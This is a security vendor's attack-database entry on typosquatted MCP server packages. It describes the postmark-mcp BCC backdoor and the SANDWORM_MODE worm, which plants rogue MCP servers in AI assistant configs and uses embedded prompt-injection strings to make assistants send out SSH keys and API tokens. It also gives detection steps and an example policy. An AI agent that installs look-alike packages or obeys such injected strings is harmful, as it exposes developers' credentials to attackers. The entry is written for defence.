← Attack Database

Typosquatting MCP Servers

Protocol-level verified

Typosquatting MCP Servers

Summary

Typosquatting applies a familiar npm/PyPI attack pattern to the MCP ecosystem: attackers publish a package whose name is a plausible variant of a legitimate MCP server (“postmark-mcp”, “suport-color”, etc.), wait for users or AI coding assistants to install the wrong one, then exfiltrate data. Two confirmed incidents stand out: the postmark-mcp backdoor (September 2025, 1,643 downloads before removal) which secretly BCC’d every email to an attacker-controlled address, and the SANDWORM_MODE worm (disclosed by Socket on 20 February 2026) which shipped 19+ typosquatted packages that deployed a rogue MCP server into Claude Desktop, Cursor, VS Code Continue, Windsurf and Claude Code configs to harvest SSH keys, cloud credentials and LLM API keys.

How it works

Typosquatting in the MCP context follows a predictable pattern:

  1. Name squatting. Attacker picks a legitimate MCP server (“postmark-mcp”, “support-color”, “anthropic-mcp”) and publishes a variant — a letter dropped, hyphen added, singular/plural swap, or a namespace they own.
  2. Build trust. The package ships a working clone of the legitimate code base for the first N versions so that stars, downloads and automated scanners look clean. The postmark-mcp attacker ran 15 legitimate releases before introducing the backdoor in v1.0.16.
  3. Payload injection. A later minor/patch version introduces the malicious code: exfiltrating email bodies by adding a BCC header, or writing a rogue MCP server into claude_desktop_config.json / .cursor/mcp.json / VS Code settings.
  4. AI-assisted amplification. When an LLM agent is asked to “install the Postmark MCP server”, it frequently picks the squatted name because it matches common search patterns and because the squatted package may already have plausible downloads.

Downstream AI coding assistants are a key target because their config files are writable by any package with install scripts, and because they load MCP servers automatically on launch.

developer asks agent to install "postmark-mcp"
  ──► npm resolves name ──► squatted package ──► install script ──►
      (a) malicious MCP server registered in mcp.json
      (b) legitimate-looking behaviour for first uses
      (c) payload fires: BCC / read SSH key / publish tokens to attacker

Real-world example

  • postmark-mcp (fake), September 2025. An attacker copied the legitimate Postmark MCP server code base and published it on npm under a similar name. v1.0.16, uploaded on 17 September 2025, added a single line — Bcc: '[email protected]' — that forwarded every email the MCP server sent to the attacker. Disclosed publicly around 25 September 2025 by Koi Security; covered by Snyk, The Hacker News, Dark Reading, Postmark’s own advisory, and CSO Online. Download count reported as 1,643 before the package was pulled. Postmark themselves published a customer advisory.
  • SANDWORM_MODE worm, February 2026. Socket’s Threat Research Team disclosed on 20 February 2026 a Shai-Hulud-style self-propagating worm spread across at least 19 typosquatted npm packages published under the aliases official334 and javaorg. Examples include suport-color@1.0.1 (imitating support-color). Functionality observed:
    • Injects a rogue MCP server into Claude Desktop, Claude Code, Cursor, VS Code Continue and Windsurf/Codeium configs.
    • Uses embedded prompt-injection strings to get the assistant to read secrets from the developer’s machine and POST them to attacker infrastructure.
    • Exfiltrates SSH keys, cloud creds, npm tokens, LLM API keys and CI secrets.
    • Falls back to DNS exfil and SSH-based worm propagation.
    • Covered by Help Net Security, Socket, OX Security, Field Effect, CSO Online, SecurityWeek and Kodem.
  • Semgrep, Acuvity and UpGuard published parallel write-ups positioning postmark-mcp as “the first in-the-wild malicious MCP server”.

Impact

  • Credential theft at developer scale: SSH keys, cloud creds, API tokens, LLM keys.
  • Silent, ongoing data exfiltration from any app the MCP server proxies — email, chat, CRM.
  • Worm-like propagation through npm via the attacker’s use of compromised CI tokens to publish further packages.
  • AI-assistant config files become persistence mechanisms that survive package removal if the config line is not manually scrubbed.
  • Trust damage: users who are told to “just install the MCP server for X” now have to verify the exact publisher.

Detection

  • Pin MCP server packages by hash or publisher id, not by name.
  • Compare installed MCP client configs (claude_desktop_config.json, .cursor/mcp.json, VS Code settings.json → mcp, Continue config) against a known-good baseline.
  • Scan package.json and lockfiles for MCP server package names that do not exactly match a curated allow-list.
  • Monitor outbound traffic from MCP server processes to unfamiliar domains.
  • For email-adjacent MCP servers, monitor for unexpected BCC headers in outbound mail (the postmark-mcp IoC).
  • Review npm/PyPI download pages before install — check publisher account, first-release date, and whether the name matches the official upstream.

Prevention

A transport-layer policy engine cannot prevent installation of a typosquatted package, but it can contain the damage by enforcing recipient allow-lists, argument sanity limits and approval gates on every tool call.

Example Intercept policy that would have blocked the postmark-mcp exfiltration:

version: "1"
description: "Email MCP server — block silent BCC"
default: "allow"

tools:
  send_email:
    rules:
      - name: "no untrusted bcc"
        conditions:
          - path: "args.bcc"
            op: "subset_of"
            value: []      # BCC must be empty unless a rule below re-allows it
        on_deny: "BCC to external address blocked — possible exfiltration"

      - name: "recipient allow-list"
        conditions:
          - path: "args.to"
            op: "matches"
            value: "^[^@]+@(yourcompany\\.com|yourcustomers\\.example)$"
        on_deny: "Recipient outside approved domains"

      - name: "approval when attachments present"
        conditions:
          - path: "args.attachments.length"
            op: "eq"
            value: 0
        on_deny: "Attachments require human approval"

  "*":
    rules:
      - name: "require approval for newly discovered tools"
        action: "require_approval"
        on_deny: "Tool not in approved list — possible typosquat"

Uses Intercept’s conditions / op / action pattern. The subset_of and matches operators are illustrative; confirm availability in your Intercept version before deploying.

Complementary controls:

  • Maintain a short, curated list of approved MCP servers. Anything else requires security-team review.
  • Require code-signing or npm provenance (--provenance) for internal MCP packages.
  • Run npm audit, Socket, or Semgrep’s MCP scanner in CI.
  • Quarantine new MCP server installs for 48 hours before they can access production credentials.

Sources

  • Tool poisoning in MCP definitions (common payload)
  • Hidden instructions in tool descriptions
  • MCP STDIO command injection (frequently co-delivered)

Protect your agent in 30 seconds

Scans your MCP config and generates enforcement policies for every server.

npx -y @policylayer/intercept init
github.com/policylayer/intercept →
// GET IN TOUCH

Have a question or want to learn more? Send us a message.

Message sent.

We'll get back to you soon.